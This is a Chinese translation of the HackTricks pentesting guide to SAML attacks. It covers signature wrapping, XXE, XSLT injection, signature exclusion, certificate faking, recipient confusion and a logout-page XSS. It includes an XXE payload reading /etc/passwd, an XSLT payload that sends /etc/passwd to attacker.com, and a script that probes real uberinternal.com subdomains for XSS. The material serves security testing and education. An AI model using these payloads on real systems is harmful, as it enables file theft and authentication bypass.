hacktricks/pentesting-web/saml-attacks/README.md

17 KiB
Raw Blame History

SAML 攻击

SAML 攻击

从零到英雄学习 AWS 黑客攻击,通过 htARTE (HackTricks AWS 红队专家)

支持 HackTricks 的其他方式:

基本信息

{% content-ref url="saml-basics.md" %} saml-basics.md {% endcontent-ref %}

攻击图解

工具

SAMLExtractor:一个可以获取 URL 或 URL 列表并返回 SAML 消费 URL 的工具。

XML 往返

在 XML 中,签名的 XML 部分被保存在内存中,然后执行一些编码/解码操作,并检查签名。理想情况下,这种编码/解码不应改变数据,但基于该场景,被检查的数据和原始数据可能不一样

例如,检查以下代码:

require 'rexml/document'

doc = REXML::Document.new <<XML
<!DOCTYPE x [ <!NOTATION x SYSTEM 'x">]><!--'> ]>
<X>
<Y/><![CDATA[--><X><Z/><!--]]>-->
</X>
XML

puts "First child in original doc: " + doc.root.elements[1].name
doc = REXML::Document.new doc.to_s
puts "First child after round-trip: " + doc.root.elements[1].name

运行该程序针对 REXML 3.2.4 或更早版本将产生以下输出:

First child in original doc: Y
First child after round-trip: Z

以下是REXML如何看到上述程序中的原始XML文档

这是它经过一轮解析和序列化后的样子:

有关漏洞的更多信息以及如何滥用它:

XML签名包裹攻击

包含XML签名的XML文档通常分为两个独立的步骤处理签名 验证功能 调用业务逻辑。如果两个模块对数据的看法不同就存在一类名为XML签名包裹攻击XSW的漏洞。
在这些攻击中,攻击者通过注入 伪造的元素来修改 消息结构,这些元素不会使XML签名失效。这种改变的目的是以这样的方式改变消息,使得应用逻辑和签名验证模块使用消息的不同部分。因此接收者成功验证了XML签名但应用逻辑处理了虚假元素。攻击者因此绕过了XML签名的完整性保护和源认证,并可以注入任意内容。

来自SAML请求

XSW #1

攻击者可以在签名所在的新根元素处添加。因此,当验证器检查签名的完整性时,它可能会注意到它已经检查了 Response -> Assertion -> Subject完整性,并且可能会与红色的邪恶新Response -> Assertion -> Subject路径混淆,并使用其数据。

XSW #2

与#1的区别在于使用的签名类型是独立签名而XSW #1使用的是封装签名。
注意新的邪恶结构与之前尝试混淆业务逻辑的结构相同,这是在完整性检查之后。

XSW #3

在这次攻击中,在原始断言的同一级别创建了一个邪恶的断言,试图混淆业务逻辑并使用邪恶数据。

XSW #4

XSW #4与#3类似不同之处在于这种情况下原始断言成为复制断言的子元素

XSW #5

在XSW #5中签名和原始断言不在三种标准配置封装/封装/独立)之一中。在这种情况下,复制的断言封装了签名。

XSW #6

XSW #6将其复制的断言插入与#4和#5相同的位置。这里有趣的是复制的断言封装了签名而签名又封装了原始断言。

XSW #7

XSW #7插入了一个Extensions元素,并将复制的Assertion作为子元素添加。Extensions是一个有效的XML元素具有较不严格的模式定义。这篇白皮书的作者们开发了这种方法以应对OpenSAML库。OpenSAML使用模式验证来正确比较在签名验证期间使用的ID与处理的断言的ID。作者们发现在复制的断言与原始断言具有相同ID的情况下如果这些断言是较不严格模式定义元素的子元素他们能够绕过这种特定的对策。

XSW #8

XSW #8使用另一个较不严格的XML元素来执行XSW #7中使用的攻击模式的变体。这次原始断言是较不严格元素的子元素而不是复制的断言。

工具

您可以使用Burp扩展SAML Raider来解析请求应用您选择的任何XSW攻击并发起它。

原始论文

有关此攻击的更多信息,请阅读原始论文https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final91.pdf

XXE

如果您不知道XXE攻击是哪种类型请阅读以下页面

{% content-ref url="../xxe-xee-xml-external-entity.md" %} xxe-xee-xml-external-entity.md {% endcontent-ref %}

由于SAML响应是被压缩和base64编码的XML文档我们可以通过操纵作为SAML响应发送的XML文档来测试XXE。例如:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY    file SYSTEM "file:///etc/passwd">
<!ENTITY dtd SYSTEM "http://www.attacker.com/text.dtd" >]>
<samlp:Response ... ID="_df55c0bb940c687810b436395cf81760bb2e6a92f2" ...>
<saml:Issuer>...</saml:Issuer>
<ds:Signature ...>
<ds:SignedInfo>
<ds:CanonicalizationMethod .../>
<ds:SignatureMethod .../>
<ds:Reference URI="#_df55c0bb940c687810b436395cf81760bb2e6a92f2">...</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>...</ds:SignatureValue>
[...]

工具

您还可以使用 Burp 扩展 SAML Raider 从 SAML 请求生成 POC以测试可能的 XXE 漏洞。

也请查看此讲座:https://www.youtube.com/watch?v=WHn-6xHL7mI

通过 SAML 的 XSLT

有关 XSLT 的更多信息,请访问:

{% content-ref url="../xslt-server-side-injection-extensible-stylesheet-language-transformations.md" %} xslt-server-side-injection-extensible-stylesheet-language-transformations.md {% endcontent-ref %}

可扩展样式表语言转换XSLT是一种图灵完备语言用于将 XML 文档转换为其他文档类型,如 HTML、JSON 或 PDF。这里需要注意的一个重要方面是攻击不需要有效签名就能成功。原因是 XSLT 转换发生在数字签名被处理以进行验证之前。基本上,我们需要一个签名的 SAML 响应来执行攻击,但签名可以是自签名的或无效的。

xslt

在这里,您可以找到一个 POC 来检查这种类型的漏洞,在本节开头提到的 hacktricks 页面中,您可以找到有效载荷。

<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
...
<ds:Transforms>
<ds:Transform>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="doc">
<xsl:variable name="file" select="unparsed-text('/etc/passwd')"/>
<xsl:variable name="escaped" select="encode-for-uri($file)"/>
<xsl:variable name="attackerUrl" select="'http://attacker.com/'"/>
<xsl:variable name="exploitUrl" select="concat($attackerUrl,$escaped)"/>
<xsl:value-of select="unparsed-text($exploitUrl)"/>
</xsl:template>
</xsl:stylesheet>
</ds:Transform>
</ds:Transforms>
...
</ds:Signature>

工具

您还可以使用 Burp 扩展 SAML Raider 从 SAML 请求生成 POC以测试可能的 XSLT 漏洞。

也请查看此讲座:https://www.youtube.com/watch?v=WHn-6xHL7mI

XML 签名排除

签名排除用于测试当没有签名元素时 SAML 实现的行为。当签名元素缺失时,签名验证步骤可能会完全被跳过。如果签名没有被验证,那么通常会被签名的内容可能会被攻击者篡改。

工具

签名排除从拦截 SAML 响应开始,然后点击 Remove Signatures。这样做会移除所有签名元素。

sig-exclusion

移除签名后,允许请求继续到达目标。如果服务

证书伪造

证书伪造是测试服务提供商是否验证了可信身份提供商签名了 SAML 消息的过程。服务提供商和身份提供商之间的信任关系已建立,并且应该在每次接收 SAML 消息时进行验证。这归结为使用自签名证书来签署 SAML 响应或断言。

工具

将使用 Burp 扩展 SAML Raider
要伪造证书,首先拦截 SAML 响应。
如果响应中包含签名,请使用 Send Certificate to SAML Raider Certs 按钮。

send-cert

发送证书后,我们应该在 SAML Raider 证书标签中看到一个导入的证书。在那里,我们突出显示导入的证书并按下 Save and Self-Sign 按钮。

sent-cert

这样做会生成原始证书的自签名克隆。现在是时候回到仍然在 burp 的 Proxy 中保留的拦截请求。首先,从 XML 签名下拉菜单中选择新的自签名证书。然后使用 Remove Signatures 按钮移除任何现有的签名。最后,使用 (Re-)Sign Message(Re-)Sign Assertion 按钮(根据您的具体情况选择适当的一个)。

remove-sig

使用自签名证书签名消息后,发送它。如果我们认证成功,我们知道我们可以签署我们的 SAML 消息。能够签署我们的 SAML 消息意味着我们可以更改断言中的值,它们将被服务提供商接受。

令牌接收者混淆 / 服务提供商目标混淆

令牌接收者混淆 / 服务提供商目标混淆测试服务提供商是否验证了接收者。这意味着,如果响应是为不同的服务提供商准备的当前服务提供商应该注意到并拒绝认证
接收者字段是 SAML 响应中 Subject 元素的子元素 SubjectConfirmationData 元素的属性。

SubjectConfirmationData 元素指定了允许确认主题或限制主题确认行为发生的情况的额外数据。当依赖方寻求验证提出断言的实体(即,作证实体)与断言声明的主题之间的关系时,就会发生主题确认。

SubjectConfirmationData 元素上的接收者属性是一个 URL它指定了必须传送断言的位置。如果接收者是与接收它的服务提供商不同的服务提供商,则不应接受断言。

如何操作

SAML 令牌接收者混淆SAML-TRC在我们尝试利用之前有一些先决条件。首先我们需要在服务提供商上有一个合法账户。其次,SP-Target 必须接受由服务 SP-Legit 的同一身份提供商发出的令牌

如果条件成立,攻击相对简单。我们通过共享的身份提供商认证SP-Legit。然后,我们拦截从 IdP 到 SP-Legit 的 SAML 响应。一旦拦截,我们将原本发给 SP-Legit 的 SAML 响应发送给 SP-Target。如果SP-Target 接受了断言;我们会发现自己以我们在 SP-Legit 的相同账户名登录,并获得 SP-Target 对应资源的访问权限。

注销功能中的 XSS

(访问原始研究这里)

在执行目录暴力破解后,我发现了以下页面:

https://carbon-prototype.uberinternal.com:443/oidauth/logout

它是一个登出页面,我打开了上面的链接,它确实将我重定向到了以下页面

https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1

基础参数正在使用一个URL那么我们是否可以用老式经典的 javascript:alert(123); 替换它以触发XSS。

大规模利用

使用SAMLExtractor它可以接受一个URL列表然后返回回调SAML消费URL我决定用uberinternal.com的所有子域来喂养这个工具,看看是否有其他域名使用相同的库,结果确实如此。

接下来我所做的是创建一个脚本,调用易受攻击的页面 oidauth/prompt 并尝试XSS如果我的输入被反映它会给我一个漏洞信息。

import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
from colorama import init ,Fore, Back, Style
init()

with open("/home/fady/uberSAMLOIDAUTH") as urlList:
for url in urlList:
url2 = url.strip().split("oidauth")[0] + "oidauth/prompt?base=javascript%3Aalert(123)%3B%2F%2FFady&return_to=%2F%3Fopenid_c%3D1520758585.42StPDwQ%3D%3D&splash_disabled=1"
request = requests.get(url2, allow_redirects=True,verify=False)
doesit = Fore.RED + "no"
if ("Fady" in request.content):
doesit = Fore.GREEN + "yes"
print(Fore.WHITE + url2)
print(Fore.WHITE + "Len : " + str(len(request.content)) + "   Vulnerable : " + doesit)

参考资料

这些攻击技术来源于 https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/
您可以在 https://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-part-three/ 找到更多资源和攻略。

通过 htARTE (HackTricks AWS Red Team Expert)从零开始学习AWS黑客攻击

支持HackTricks的其他方式